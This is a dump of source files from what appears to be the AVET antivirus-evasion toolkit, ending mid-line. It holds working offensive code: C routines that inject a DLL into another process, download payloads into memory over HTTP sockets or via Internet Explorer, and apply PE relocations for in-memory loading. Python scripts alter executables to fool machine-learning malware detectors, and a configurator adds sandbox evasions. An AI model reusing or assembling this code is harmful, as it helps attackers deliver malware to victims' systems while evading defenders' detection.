load_textfile (dirfile, size_sh_filename); 84 | // there is always emtpy space at the end of the file -> delete that 85 | sh_filename[size_sh_filename-2]=0x0; 86 | 87 | DEBUG_PRINT("ie_download, sh_filename: >>>%s<<<, size: %d\ntest\n", sh_filename, size_sh_filename); 88 | 89 | return sh_filename; 90 | } 91 | 92 | 93 | // Retrieval of data via IE download to file. The data is then read from the file and returned. 94 | // 95 | // arg1 specifies the URL to download the file from. 96 | // data_size receives the size of the data in bytes. 97 | unsigned char* download_internet_explorer(char *arg1, int *data_size) { 98 | DEBUG_PRINT("This is download_internet_explorer.\n"); 99 | DEBUG_PRINT("exec data from url\n"); 100 | 101 | char *sh_filename = ie_download(arg1); 102 | *data_size = get_filesize(sh_filename); 103 | return load_textfile(sh_filename, *data_size); 104 | } 105 | -------------------------------------------------------------------------------- /source/implementations/payload_execution_method/inject_dll.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include "../debug_print/debug_print.h" 7 | 8 | 9 | // payload_info format: pid,dll_path 10 | // pid specifies the process ID of the process to inject the DLL into 11 | // dll_path specifies the path of the DLL that will be injected into the target. 12 | // This implies that the DLL to be injected must reside on the target's disk. 13 | // 14 | // This was sucessfully tested on both 32 ad 64-bit systems. 15 | // Friendly reminder: only inject 32-bit dlls into 32-bit processes, and 64-bit dlls into 64-bit processes 16 | void inject_dll(unsigned char *payload, int payload_size, char *payload_info) { 17 | char *delimiter; 18 | char *target_pid_string; 19 | char *dll_path; 20 | DWORD target_pid; 21 | LPVOID loadlibrary_address; 22 | LPVOID remote_buffer; 23 | HANDLE h_proc; 24 | HANDLE h_remote_thread; 25 | 26 | DEBUG_PRINT("Starting inject_dll routine...\n"); 27 | 28 | // Extract arguments from payload_info 29 | // Both pid and dll_path are required, so assume that delimiter ',' is set. 30 | 31 | // Cut out pid string by ending the string at delimiter position 32 | delimiter = strchr(payload_info, ','); 33 | target_pid_string = payload_info; 34 | *delimiter = '\0'; 35 | target_pid = strtoul(target_pid_string, NULL, 0); 36 | DEBUG_PRINT("Extracted payload_info::target_pid argument = %u\n", target_pid); 37 | 38 | // Extract dll_path string by starting after the delimiter 39 | dll_path = delimiter + 1; 40 | DEBUG_PRINT("Extracted payload_info::dll_path argument = %s\n", dll_path); 41 | 42 | if(target_pid == 0) { 43 | DEBUG_PRINT("Invalid target PID.\n"); 44 | return; 45 | } 46 | 47 | // Access target process 48 | DEBUG_PRINT("Accessing target process...\n"); 49 | h_proc = OpenProcess((PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ), FALSE, target_pid); 50 | 51 | if(h_proc == NULL) { 52 | DEBUG_PRINT("Failed to retrieve handle.\n"); 53 | return; 54 | } 55 | 56 | // Retrieve address of LoadLibraryA function 57 | DEBUG_PRINT("Retrieving address of LoadLibraryA function...\n"); 58 | loadlibrary_address = (LPVOID) GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); 59 | if(loadlibrary_address == NULL) { 60 | DEBUG_PRINT("Failed to retrieve address.\n"); 61 | return; 62 | } 63 | 64 | // Allocate buffer in target process to store the path to the dll to be injected 65 | DEBUG_PRINT("Allocating at least %d bytes of memory in target process to store dll path...\n", strlen(dll_path)); 66 | remote_buffer = VirtualAllocEx(h_proc, NULL, strlen(dll_path), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); 67 | if(remote_buffer == NULL) { 68 | DEBUG_PRINT("Memory allocation failed, system error code is %u.\n", GetLastError()); 69 | return; 70 | } 71 | 72 | // Write dll path into allocated memory 73 | DEBUG_PRINT("Writing dll path into allocated memory...\n"); 74 | if(WriteProcessMemory(h_proc, remote_buffer, (LPCVOID) dll_path, strlen(dll_path), NULL) == 0) { 75 | DEBUG_PRINT("Write operation failed, system error code is %u.\n", GetLastError()); 76 | return; 77 | } 78 | 79 | // Creating remote thread that invokes the dll via LoadLibrary 80 | DEBUG_PRINT("Creating remote thread that invokes the DLL via LoadLibrary...\n"); 81 | h_remote_thread = CreateRemoteThread(h_proc, NULL, 0, (LPTHREAD_START_ROUTINE) loadlibrary_address, remote_buffer, 0, NULL); 82 | if(h_remote_thread == NULL) { 83 | DEBUG_PRINT("Thread creation failed, system error code is %u.\n", GetLastError()); 84 | return; 85 | } 86 | 87 | CloseHandle(h_proc); 88 | } 89 | -------------------------------------------------------------------------------- /source/implementations/payload_execution_method/helper_functions/helper_functions.h: -------------------------------------------------------------------------------- 1 | // Modified, but basically taken from https://github.com/hasherezade/demos 2 | // 3 | // Big credits go to hasherezade! 4 | 5 | 6 | #pragma once 7 | 8 | 9 | #define false 0 10 | #define true 1 11 | typedef int bool; 12 | 13 | #define RELOC_32BIT_FIELD 3 14 | #define RELOC_64BIT_FIELD 10 15 | 16 | 17 | IMAGE_NT_HEADERS* get_nt_hdrs(BYTE *pe_buffer) 18 | { 19 | if (pe_buffer == NULL) return NULL; 20 | 21 | IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer; 22 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) { 23 | return NULL; 24 | } 25 | const LONG kMaxOffset = 1024; 26 | LONG pe_offset = idh->e_lfanew; 27 | if (pe_offset > kMaxOffset) return NULL; 28 | 29 | IMAGE_NT_HEADERS *inh = (IMAGE_NT_HEADERS *)((BYTE*)pe_buffer + pe_offset); 30 | return inh; 31 | } 32 | 33 | 34 | IMAGE_DATA_DIRECTORY* get_pe_directory(PVOID pe_buffer, DWORD dir_id) 35 | { 36 | if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) { 37 | return NULL; 38 | } 39 | 40 | //fetch relocation table from current image: 41 | PIMAGE_NT_HEADERS nt_headers = get_nt_hdrs((BYTE*) pe_buffer); 42 | if (nt_headers == NULL) { 43 | return NULL; 44 | } 45 | 46 | IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]); 47 | 48 | if (((PVOID) peDir->VirtualAddress) == NULL) { 49 | return NULL; 50 | } 51 | 52 | return peDir; 53 | } 54 | 55 | 56 | bool is32Bit(PVOID payloadData) { 57 | PIMAGE_DOS_HEADER payloadDosHeader; 58 | PIMAGE_NT_HEADERS payloadNtHeader; 59 | 60 | // Get payload headers 61 | payloadDosHeader = (PIMAGE_DOS_HEADER) payloadData; 62 | payloadNtHeader = (PIMAGE_NT_HEADERS) ((BYTE *) payloadDosHeader + payloadDosHeader->e_lfanew); 63 | 64 | if(payloadNtHeader->FileHeader.Machine == IMAGE_FILE_MACHINE_I386) { 65 | return true; 66 | } else { 67 | return false; 68 | } 69 | } 70 | 71 | 72 | typedef struct _BASE_RELOCATION_ENTRY { 73 | WORD Offset : 12; 74 | WORD Type: 4; 75 | } BASE_RELOCATION_ENTRY; 76 | 77 | 78 | bool has_relocations(BYTE *pe_buffer) 79 | { 80 | IMAGE_DATA_DIRECTORY* relocDir = get_pe_directory(pe_buffer, IMAGE_DIRECTORY_ENTRY_BASERELOC); 81 | if (relocDir == NULL) { 82 | return false; 83 | } 84 | return true; 85 | } 86 | 87 | 88 | bool apply_reloc_block(BASE_RELOCATION_ENTRY *block, SIZE_T entriesNum, DWORD page, ULONGLONG oldBase, ULONGLONG newBase, PVOID modulePtr) 89 | { 90 | DWORD *relocateAddr32; 91 | ULONGLONG *relocateAddr64; 92 | BASE_RELOCATION_ENTRY* entry = block; 93 | SIZE_T i = 0; 94 | for (i = 0; i < entriesNum; i++) { 95 | DWORD offset = entry->Offset; 96 | DWORD type = entry->Type; 97 | 98 | if (entry == NULL || type == 0) { 99 | break; 100 | } 101 | 102 | switch(type) { 103 | case RELOC_32BIT_FIELD: 104 | relocateAddr32 = (DWORD*) ((ULONG_PTR) modulePtr + page + offset); 105 | (*relocateAddr32) = (DWORD) (*relocateAddr32) - oldBase + newBase; 106 | entry = (BASE_RELOCATION_ENTRY*)((ULONG_PTR) entry + sizeof(WORD)); 107 | break; 108 | default: 109 | DEBUG_PRINT("Not supported relocations format at %d: %d\n", (int) i, type); 110 | return false; 111 | } 112 | 113 | } 114 | //printf("[+] Applied %d relocations\n", (int) i); 115 | return true; 116 | } 117 | 118 | 119 | bool apply_relocations(ULONGLONG newBase, ULONGLONG oldBase, PVOID modulePtr) 120 | { 121 | IMAGE_DATA_DIRECTORY* relocDir = get_pe_directory(modulePtr, IMAGE_DIRECTORY_ENTRY_BASERELOC); 122 | if (relocDir == NULL) { 123 | DEBUG_PRINT("Cannot relocate - application have no relocation table!\n"); 124 | return false; 125 | } 126 | DWORD maxSize = relocDir->Size; 127 | DWORD relocAddr = relocDir->VirtualAddress; 128 | 129 | IMAGE_BASE_RELOCATION* reloc = NULL; 130 | 131 | DWORD parsedSize = 0; 132 | while (parsedSize < maxSize) { 133 | reloc = (IMAGE_BASE_RELOCATION*)(relocAddr + parsedSize + (ULONG_PTR) modulePtr); 134 | parsedSize += reloc->SizeOfBlock; 135 | 136 | if ((((DWORD*) reloc->VirtualAddress) == NULL) || (reloc->SizeOfBlock == 0)) { 137 | continue; 138 | } 139 | 140 | //printf("RelocBlock: %x %x\n", reloc->VirtualAddress, reloc->SizeOfBlock); 141 | 142 | size_t entriesNum = (reloc->SizeOfBlock - 2 * sizeof(DWORD)) / sizeof(WORD); 143 | DWORD page = reloc->VirtualAddress; 144 | 145 | BASE_RELOCATION_ENTRY* block = (BASE_RELOCATION_ENTRY*)((ULONG_PTR) reloc + sizeof(DWORD) + sizeof(DWORD)); 146 | if (apply_reloc_block(block, entriesNum, page, oldBase, newBase, modulePtr) == false) { 147 | return false; 148 | } 149 | } 150 | return true; 151 | } 152 | -------------------------------------------------------------------------------- /source/implementations/gen_adversarial_exe/practical_manipulations/shift.py: -------------------------------------------------------------------------------- 1 | """ 2 | Implementation of Shift practical manipulation from 3 | Adversarial EXEmples: A Survey and Experimental Evaluation of 4 | Practical Attacks on Machine Learning for Windows Malware Detection 5 | by Demetrio et al. 6 | 7 | Can be used standalone with random bytes or via genetic optimizer. 8 | """ 9 | 10 | import math 11 | import os 12 | import struct 13 | import sys 14 | import copy 15 | 16 | import lief 17 | 18 | 19 | def shift_on_bytes(exe_bytes: bytearray, section_population, vector_t): 20 | """ 21 | Implementation of Shift practical manipulation. 22 | Intended for use with genetic optimizer. 23 | 24 | Returns the bytes with the practical manipulation applied. 25 | """ 26 | 27 | content = bytearray() 28 | for i, section in enumerate(section_population): 29 | content += section[:int(round(len(section) * vector_t[i]))] 30 | 31 | amount = len(content) 32 | 33 | exe_object: lief.PE.Binary = lief.parse(exe_bytes) 34 | 35 | # calculate how much to shift based on alignment 36 | pe_header_offset = exe_object.dos_header.addressof_new_exeheader 37 | section_file_alignment = exe_object.optional_header.file_alignment 38 | shift_by = int(math.ceil( 39 | amount / section_file_alignment)) * section_file_alignment 40 | 41 | optional_header_size = exe_object.header.sizeof_optional_header 42 | first_section_offset = exe_object.sections[0].offset 43 | coff_header_size = 24 44 | section_entry_length = 40 45 | size_of_raw_data_pointer = 20 46 | 47 | raw_bytes = copy.deepcopy(exe_bytes) 48 | 49 | for i, _ in enumerate(exe_object.sections): 50 | # calculate positions of PointerToRawData 51 | p_raw_data = ( 52 | pe_header_offset 53 | + coff_header_size 54 | + optional_header_size 55 | + (i * section_entry_length) 56 | + size_of_raw_data_pointer 57 | ) 58 | 59 | # increase PointerToRawData by shift_by 60 | old_pointer_to_raw_data = struct.unpack( 61 | " 4 | #include 5 | #include "winsock2.h" 6 | #include "ws2tcpip.h" 7 | #include "../debug_print/debug_print.h" 8 | 9 | 10 | // Link with -lws2_32 when compiling 11 | 12 | 13 | // Downloads data from the specified URI, using sockets 14 | // Returns pointer to data, memory is allocated by the function. 15 | // data_size receives the size of the data in bytes. 16 | unsigned char *download_data(char *uri, int *data_size) { 17 | WSADATA wsa; 18 | SOCKET s; 19 | struct addrinfo hints; 20 | memset(&hints, 0, sizeof(struct addrinfo)); 21 | struct addrinfo* ai; 22 | 23 | // Prepare URI strings 24 | // URI is expected to be of format http://myserver.net/filename:port 25 | 26 | // Remove http prefix, if set 27 | char *uri_short = (char *) malloc(strlen(uri)); 28 | if(strstr(uri, "http://") == uri) { 29 | strcpy(uri_short, uri + 7); 30 | } else { 31 | strcpy(uri_short, uri); 32 | } 33 | 34 | // Extract hostname 35 | char server_hostname[256]; 36 | strcpy(server_hostname, uri_short); 37 | *strchr(server_hostname, '/') = '\0'; 38 | 39 | // Truncate after last '/' and before ':' to get the file name 40 | char server_filename[256]; 41 | strcpy(server_filename, strrchr(uri_short, '/') + 1); 42 | // No ':' means that no port is specified. Avoid access violation. 43 | if(strrchr(server_filename, ':') != NULL) { 44 | *strrchr(server_filename, ':') = '\0'; 45 | } 46 | 47 | // Truncate after last ':' to get the server port as string 48 | char server_port_string[256]; 49 | 50 | if(strrchr(uri_short, ':') != NULL) { 51 | strcpy(server_port_string, strrchr(uri_short, ':') + 1); 52 | // No ':' means that no port is specified. In this case, assume port 80. 53 | } else { 54 | strcpy(server_port_string, "80"); 55 | } 56 | 57 | DEBUG_PRINT("Attempting to download data from target into memory via HTTP request...\n"); 58 | DEBUG_PRINT("\tTarget host:\t%s\n", server_hostname); 59 | DEBUG_PRINT("\tTarget port:\t%s\n", server_port_string); 60 | DEBUG_PRINT("\tRequested file:\t%s\n", server_filename); 61 | 62 | // Initialize WSA 63 | if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0) { 64 | DEBUG_PRINT("WSA initialization failed!\n"); 65 | return NULL; 66 | } 67 | 68 | // Init server data 69 | // Get server IP address 70 | hints.ai_family = AF_UNSPEC; 71 | hints.ai_socktype = SOCK_STREAM; 72 | hints.ai_protocol = IPPROTO_TCP; 73 | 74 | if(getaddrinfo(server_hostname, server_port_string, &hints, &ai) != 0) { 75 | DEBUG_PRINT("getaddrinfo failed!\n"); 76 | return NULL; 77 | } 78 | 79 | // Create socket 80 | if((s = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol)) == INVALID_SOCKET) { 81 | DEBUG_PRINT("Socket creation failed!\n"); 82 | return NULL; 83 | } 84 | 85 | // Connect to server 86 | if(connect(s, ai->ai_addr, ai->ai_addrlen) < 0) { 87 | DEBUG_PRINT("Connection to server failed!\n"); 88 | return NULL; 89 | } 90 | 91 | // Free address info struct, no longer needed 92 | freeaddrinfo(ai); 93 | 94 | // Assemble and send HTTP GET request 95 | char request[512]; 96 | sprintf(request, "GET %s HTTP/1.1\r\n\r\n", server_filename); 97 | sprintf(request + strlen(request), "Host: %s\r\n\r\n", server_hostname); 98 | 99 | DEBUG_PRINT("Sending request:\n%s\n", request); 100 | 101 | if(send(s, request, strlen(request), 0) < strlen(request)) { 102 | DEBUG_PRINT("Sending HTTP GET request failed!\n"); 103 | return NULL; 104 | } 105 | 106 | // Parse response header and extract content length 107 | char response[512]; 108 | 109 | while (strcmp(response, "\r\n")) { 110 | for (int i = 0; strcmp(response + i - 2, "\r\n"); i++) { 111 | recv(s, response + i, 1, 0); response[i + 1] = '\0'; 112 | } 113 | 114 | if (strstr(response, "Content-Length:") == response) { 115 | *strchr(response, '\r') = '\0'; 116 | *data_size = atoi(strchr(response, ' ') + 1); 117 | } 118 | } 119 | 120 | // Allocate memory of respective size for received data 121 | unsigned char *data = (unsigned char *) malloc(*data_size); 122 | 123 | unsigned char current_byte; 124 | for (int i = 0; i < *data_size; i++) { 125 | recv(s, ¤t_byte, 1, 0); 126 | data[i] = current_byte; 127 | } 128 | 129 | // Cleanup 130 | closesocket(s); 131 | WSACleanup(); 132 | 133 | DEBUG_PRINT("Data received, %d bytes.\n", *data_size); 134 | 135 | return data; 136 | } 137 | 138 | 139 | // Downloads the data from the URI specified in arg1. 140 | // No file is dropped, the data is read directly from the socket. 141 | // 142 | // data_size receives the size of the data in bytes. 143 | unsigned char* download_socket(char *arg1, int *data_size) { 144 | DEBUG_PRINT("Downloading data from url via sockets...\n"); 145 | 146 | return download_data(arg1, data_size); 147 | } 148 | -------------------------------------------------------------------------------- /source/implementations/payload_execution_method/helper_functions/helper_functions64.h: -------------------------------------------------------------------------------- 1 | // Modified, but basically taken from https://github.com/hasherezade/demos 2 | // 3 | // Big credits go to hasherezade! 4 | 5 | 6 | #pragma once 7 | 8 | 9 | #define false 0 10 | #define true 1 11 | typedef int bool; 12 | 13 | #define RELOC_32BIT_FIELD 3 14 | #define RELOC_64BIT_FIELD 10 15 | 16 | 17 | IMAGE_NT_HEADERS* get_nt_hdrs(BYTE *pe_buffer) 18 | { 19 | if (pe_buffer == NULL) return NULL; 20 | 21 | IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer; 22 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) { 23 | return NULL; 24 | } 25 | const LONG kMaxOffset = 1024; 26 | LONG pe_offset = idh->e_lfanew; 27 | if (pe_offset > kMaxOffset) return NULL; 28 | 29 | IMAGE_NT_HEADERS *inh = (IMAGE_NT_HEADERS *)((BYTE*)pe_buffer + pe_offset); 30 | return inh; 31 | } 32 | 33 | 34 | IMAGE_DATA_DIRECTORY* get_pe_directory64(PVOID pe_buffer, DWORD dir_id) 35 | { 36 | if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) { 37 | return NULL; 38 | } 39 | 40 | //fetch relocation table from current image: 41 | PIMAGE_NT_HEADERS nt_headers = get_nt_hdrs((BYTE*) pe_buffer); 42 | if (nt_headers == NULL) { 43 | return NULL; 44 | } 45 | 46 | IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]); 47 | 48 | if (((PVOID) ((DWORD64) peDir->VirtualAddress)) == NULL) { 49 | return NULL; 50 | } 51 | 52 | return peDir; 53 | } 54 | 55 | 56 | bool is32Bit(PVOID payloadData) { 57 | PIMAGE_DOS_HEADER payloadDosHeader; 58 | PIMAGE_NT_HEADERS payloadNtHeader; 59 | 60 | // Get payload headers 61 | payloadDosHeader = (PIMAGE_DOS_HEADER) payloadData; 62 | payloadNtHeader = (PIMAGE_NT_HEADERS) ((BYTE *) payloadDosHeader + payloadDosHeader->e_lfanew); 63 | 64 | if(payloadNtHeader->FileHeader.Machine == IMAGE_FILE_MACHINE_I386) { 65 | return true; 66 | } else { 67 | return false; 68 | } 69 | } 70 | 71 | 72 | typedef struct _BASE_RELOCATION_ENTRY { 73 | WORD Offset : 12; 74 | WORD Type: 4; 75 | } BASE_RELOCATION_ENTRY; 76 | 77 | 78 | bool has_relocations64(BYTE *pe_buffer) 79 | { 80 | IMAGE_DATA_DIRECTORY* relocDir = get_pe_directory64(pe_buffer, IMAGE_DIRECTORY_ENTRY_BASERELOC); 81 | if (relocDir == NULL) { 82 | return false; 83 | } 84 | return true; 85 | } 86 | 87 | 88 | bool apply_reloc_block64(BASE_RELOCATION_ENTRY *block, SIZE_T entriesNum, DWORD page, ULONGLONG oldBase, ULONGLONG newBase, PVOID modulePtr) 89 | { 90 | DWORD *relocateAddr32; 91 | ULONGLONG *relocateAddr64; 92 | BASE_RELOCATION_ENTRY* entry = block; 93 | SIZE_T i = 0; 94 | for (i = 0; i < entriesNum; i++) { 95 | DWORD offset = entry->Offset; 96 | DWORD type = entry->Type; 97 | 98 | if (entry == NULL || type == 0) { 99 | break; 100 | } 101 | 102 | switch(type) { 103 | case RELOC_32BIT_FIELD: 104 | relocateAddr32 = (DWORD*) ((ULONG_PTR) modulePtr + page + offset); 105 | (*relocateAddr32) = (DWORD) (*relocateAddr32) - oldBase + newBase; 106 | entry = (BASE_RELOCATION_ENTRY*)((ULONG_PTR) entry + sizeof(WORD)); 107 | break; 108 | case RELOC_64BIT_FIELD: 109 | relocateAddr64 = (ULONGLONG*) ((ULONG_PTR) modulePtr + page + offset); 110 | (*relocateAddr64) = ((ULONGLONG) (*relocateAddr64)) - oldBase + newBase; 111 | entry = (BASE_RELOCATION_ENTRY*)((ULONG_PTR) entry + sizeof(WORD)); 112 | break; 113 | default: 114 | DEBUG_PRINT("Not supported relocations format at %d: %d\n", (int) i, type); 115 | return false; 116 | } 117 | 118 | } 119 | //printf("[+] Applied %d relocations\n", (int) i); 120 | return true; 121 | } 122 | 123 | 124 | bool apply_relocations64(ULONGLONG newBase, ULONGLONG oldBase, PVOID modulePtr) 125 | { 126 | IMAGE_DATA_DIRECTORY* relocDir = get_pe_directory64(modulePtr, IMAGE_DIRECTORY_ENTRY_BASERELOC); 127 | if (relocDir == NULL) { 128 | DEBUG_PRINT("Cannot relocate - application have no relocation table!\n"); 129 | return false; 130 | } 131 | DWORD maxSize = relocDir->Size; 132 | DWORD relocAddr = relocDir->VirtualAddress; 133 | 134 | IMAGE_BASE_RELOCATION* reloc = NULL; 135 | 136 | DWORD parsedSize = 0; 137 | while (parsedSize < maxSize) { 138 | reloc = (IMAGE_BASE_RELOCATION*)(relocAddr + parsedSize + (ULONG_PTR) modulePtr); 139 | parsedSize += reloc->SizeOfBlock; 140 | 141 | if ((((ULONGLONG*) ((ULONGLONG) reloc->VirtualAddress)) == NULL) || (reloc->SizeOfBlock == 0)) { 142 | continue; 143 | } 144 | 145 | //printf("RelocBlock: %x %x\n", reloc->VirtualAddress, reloc->SizeOfBlock); 146 | 147 | size_t entriesNum = (reloc->SizeOfBlock - 2 * sizeof(DWORD)) / sizeof(WORD); 148 | DWORD page = reloc->VirtualAddress; 149 | 150 | BASE_RELOCATION_ENTRY* block = (BASE_RELOCATION_ENTRY*)((ULONG_PTR) reloc + sizeof(DWORD) + sizeof(DWORD)); 151 | if (apply_reloc_block64(block, entriesNum, page, oldBase, newBase, modulePtr) == false) { 152 | return false; 153 | } 154 | } 155 | return true; 156 | } 157 | 158 | -------------------------------------------------------------------------------- /source/data_utility.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | 6 | // Internal helper function. 7 | // Removes all occurences of character chr in string str and overwrites str with result. 8 | static void remove_all_chars(char *str, const char chr) { 9 | // Compute input string length 10 | int str_len = strlen(str); 11 | 12 | // Allocate memory for result string 13 | char *result = (char *) malloc(str_len + 1); 14 | 15 | int j = 0; // Index for result string 16 | 17 | for(int i = 0; i < str_len; i++) { 18 | // Copy character to result if != chr 19 | if(str[i] != chr) { 20 | result[j] = str[i]; 21 | j++; 22 | } 23 | } 24 | 25 | // Terminate result 26 | result[j] = '\0'; 27 | 28 | // Copy result 29 | strcpy(str, result); 30 | 31 | // Free result string 32 | free(result); 33 | } 34 | 35 | 36 | // Writes the given data in array format into the specified file. 37 | // ------ 38 | // THE PREVIOUS CONTENTS OF THE FILE WILL BE OVERWRITTEN! 39 | // ------ 40 | // The output consists of an array unsigned char name[], where name can be specified by the corresponding parameter. 41 | // The output file can be directly included in AVET sources to get data access. 42 | // data_size is counted in bytes. 43 | void data_to_file(const unsigned char *data, const int data_size, const char *filename, const char* array_name) { 44 | // Remove previous file contents 45 | FILE *data_file = fopen(filename, "w"); 46 | fclose(data_file); 47 | 48 | // Write data to file 49 | data_file = fopen(filename, "a"); 50 | 51 | // Assemble array name 52 | char array_descriptor[100]; 53 | sprintf(array_descriptor, "unsigned char %s[] = \"", array_name); 54 | 55 | fputs("\n", data_file); 56 | fputs(array_descriptor, data_file); 57 | 58 | char current_hex[4]; 59 | 60 | for(int i = 0; i < data_size; i++) { 61 | sprintf(current_hex, "\\x%02x", data[i]); 62 | fputs(current_hex, data_file); 63 | } 64 | 65 | fputs("\";", data_file); 66 | fputs("\n", data_file); 67 | fclose(data_file); 68 | } 69 | 70 | 71 | // Writes the given data into the specified file. 72 | // ------ 73 | // THE PREVIOUS CONTENS OF THE FILE WILL BE OVERWRITTEN! 74 | // ------ 75 | // This will copy the data bytes "as is". 76 | void data_to_file_raw(const unsigned char *data, const int data_size, const char *filename) { 77 | // Remove previous file contents 78 | FILE *data_file = fopen(filename, "w"); 79 | fclose(data_file); 80 | 81 | // Write data to file 82 | data_file = fopen(filename, "a"); 83 | fwrite(data, 1, data_size, data_file); 84 | 85 | fclose(data_file); 86 | } 87 | 88 | 89 | // Reads data from a file, given in format unsigned char buf[] = "\xaa\xbb\xcc..."; 90 | // The search pattern identifies the first backslash occurence in the file (hex representation of first byte) and reads the data from there. 91 | // This implies that data will always be read from the first array of the specified format, regardless of array name. 92 | // Returns pointer to the data read into memory. Required memory will be allocated by the function. 93 | // data_size will be filled with the size of the data in bytes. 94 | unsigned char *data_from_file(const char *filename, int *data_size) { 95 | // Assume that file only contains array unsigned char buf[] = "\xaa\xbb\xcc..."; 96 | FILE *data_file = fopen(filename, "r"); 97 | 98 | // Get file size 99 | fseek(data_file, 0L, SEEK_END); 100 | int file_size = ftell(data_file); 101 | rewind(data_file); 102 | 103 | // Allocate memory for string 104 | char *file_content = (char *) malloc(file_size + 1); 105 | 106 | // Get whole file content as string 107 | fread(file_content, 1, file_size, data_file); 108 | file_content[file_size] = '\0'; 109 | 110 | // Close file 111 | fclose(data_file); 112 | 113 | // Search for first occurence of backslash character (marks beginning of data string) 114 | char *data_string = strchr(file_content, '\\'); 115 | 116 | // Format data string to make parsing easier: 117 | // Search for array end ';' and terminate string after that character 118 | strchr(data_string, ';')[1] = '\0'; 119 | // Remove all linebreaks 120 | remove_all_chars(data_string, '\n'); 121 | // Remove all '"' 122 | remove_all_chars(data_string, '"'); 123 | 124 | // Parse to get number of data bytes first 125 | int i = 0; 126 | *data_size = 0; 127 | 128 | // Formatted data ends when ';' 129 | while(data_string[i] == '\\') { 130 | (*data_size)++; 131 | i = i + 4; 132 | } 133 | 134 | // Allocate memory for data 135 | unsigned char *data = (unsigned char *) malloc(*data_size); 136 | 137 | // Parse data string again, convert hex representation into unsigned chars and copy into data buffer 138 | int j = 0; // data write position 139 | char current_hex[5] = "0xaa"; 140 | char *endptr; // Required by strtuol function 141 | 142 | // data string is of format \xaa\xbb\xcc... 143 | // Each loop iteration handles a 4-character chunk 144 | for(int i = 0; i < *data_size; i++) { 145 | // Skip "\x" and interpret hex representation as unsigned char value 146 | memcpy(&(current_hex[2]), &(data_string[(4 * i) + 2]), 2); 147 | data[j] = (unsigned char) strtoul(current_hex, &endptr, 16); 148 | j++; 149 | } 150 | 151 | // Free file_content string 152 | free(file_content); 153 | 154 | return data; 155 | } 156 | 157 | 158 | // Reads raw data data from a file. 159 | // Returns pointer to the data in memory. Required memory will be allocated by the function. 160 | // data_size will be filled with the size of the data in bytes. 161 | unsigned char *data_from_file_raw(const char *filename, int *data_size) { 162 | // Assume that file only contains the data data 163 | FILE *data_file = fopen(filename, "r"); 164 | 165 | // Get file size = data size 166 | fseek(data_file, 0L, SEEK_END); 167 | *data_size = ftell(data_file); 168 | rewind(data_file); 169 | 170 | // Allocate memory for data 171 | unsigned char *data = (unsigned char *) malloc(*data_size); 172 | 173 | // Read data from file 174 | fread(data, 1, *data_size, data_file); 175 | 176 | fclose(data_file); 177 | return data; 178 | } 179 | 180 | -------------------------------------------------------------------------------- /source/implementations/gen_adversarial_exe/practical_manipulations/extend.py: -------------------------------------------------------------------------------- 1 | """ 2 | Implementation of Extend practical manipulation from 3 | Adversarial EXEmples: A Survey and Experimental Evaluation of 4 | Practical Attacks on Machine Learning for Windows Malware Detection 5 | by Demetrio et al. 6 | 7 | Can be used standalone with random bytes or via genetic optimizer. 8 | """ 9 | 10 | import copy 11 | import itertools 12 | import math 13 | import os 14 | import struct 15 | import sys 16 | 17 | import lief 18 | 19 | 20 | def extend_on_bytes(exe_bytes: bytearray, section_population, vector_t): 21 | """ 22 | Implementation of Extend practical manipulation. 23 | Intended for use with genetic optimizer. 24 | 25 | Returns the bytes with the practical manipulation applied. 26 | """ 27 | 28 | content = bytearray() 29 | for i, section in enumerate(section_population): 30 | content += section[:int(round(len(section) * vector_t[i]))] 31 | 32 | amount = len(content) 33 | 34 | exe_object: lief.PE.Binary = lief.parse(exe_bytes) 35 | 36 | # calculate how much to extend based on alignment 37 | pe_header_offset = exe_object.dos_header.addressof_new_exeheader 38 | section_file_alignment = exe_object.optional_header.file_alignment 39 | extension = int(math.ceil( 40 | amount / section_file_alignment)) * section_file_alignment 41 | 42 | new_pe_header_offset = exe_object.dos_header.addressof_new_exeheader + extension 43 | optional_header_size = exe_object.header.sizeof_optional_header 44 | coff_header_size = 24 45 | section_entry_length = 40 46 | size_of_raw_data_pointer = 20 47 | 48 | raw_bytes = copy.deepcopy(exe_bytes) 49 | 50 | # increase offset to pe header at location 0x3C by extension 51 | raw_bytes[0x3C:0x40] = struct.pack( 52 | " "))] 68 | 69 | 70 | # Print the information between the #Tags in the build script 71 | def print_tag(choice, tag): 72 | print("\n%s :" % tag) 73 | with open(choice, 'r') as file: 74 | switch = False 75 | for line in file: 76 | if line == "#%s_END\n" % tag: 77 | switch = False 78 | 79 | if switch: 80 | print(line, end='') 81 | 82 | if line == "#%s_START\n" % tag: 83 | switch = True 84 | 85 | 86 | # Here, the user is able to make changes in the selected build script between the #CONFIGURATION Tags 87 | # The whole build script with changes will be copied to a temporary script "avet_script_config.sh" 88 | def build_script_configurator(choice): 89 | print("\nConfigure the Build Script") 90 | with open(choice, 'r') as file: 91 | script = file.readlines() 92 | with open("./avet_script_config.sh", 'w') as config: 93 | switch = False 94 | for line in script: 95 | 96 | if line == '#CONFIGURATION_END\n': 97 | switch = False 98 | 99 | # sandbox evasions 100 | print("\nDo you want to add sandbox evasions? [y/N]") 101 | answer = input("-> ").lower().strip() 102 | if answer == "y" or answer == "yes": 103 | modules = sandbox_evasions_pick() 104 | 105 | for sand in modules: 106 | evasion = rlinput("-> ", "add_evasion %s " % sand) 107 | config.write(evasion + "\n") 108 | 109 | if switch: 110 | if line[0:2] == "# ": 111 | print("\n"+line.strip()) 112 | else: 113 | # Replace host and port Variable with 